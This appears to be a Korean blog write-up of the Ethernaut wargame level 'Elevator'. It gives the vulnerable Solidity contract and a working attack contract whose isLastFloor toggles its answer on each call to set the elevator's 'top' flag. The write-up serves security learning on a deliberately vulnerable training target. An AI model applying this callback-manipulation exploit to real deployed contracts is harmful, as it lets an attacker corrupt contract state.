본문 바로가기

블록체인/Ethernaut

[Ethernaut] 11. Elevator

소스코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

 

 

목표

빌딩의 최상층에 도달

 

방법

/ SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./Elevator.sol";

contract BuildingAttack is Building {
  Elevator elevator;
  bool toggleBtn;

  constructor(address _elevator) public {
    elevator = Elevator(_elevator);
    toggleBtn = true;
  }
  function isLastFloor(uint _floor) public override returns (bool) {
    toggleBtn = !toggleBtn;
    return toggleBtn;
  }

  function attack() public {
    elevator.goTo(3);
  }

}

'블록체인 > Ethernaut' 카테고리의 다른 글

[Ethernaut] 13. Gatekeeper One  (0) 2022.06.08
[Ethernaut] 12. Privacy  (0) 2022.06.07
[Ethernaut] 10. Re-entrancy  (0) 2022.06.05
[Ethernaut] 9. King  (0) 2022.06.04
[Ethernaut] 8. Vault  (0) 2022.06.01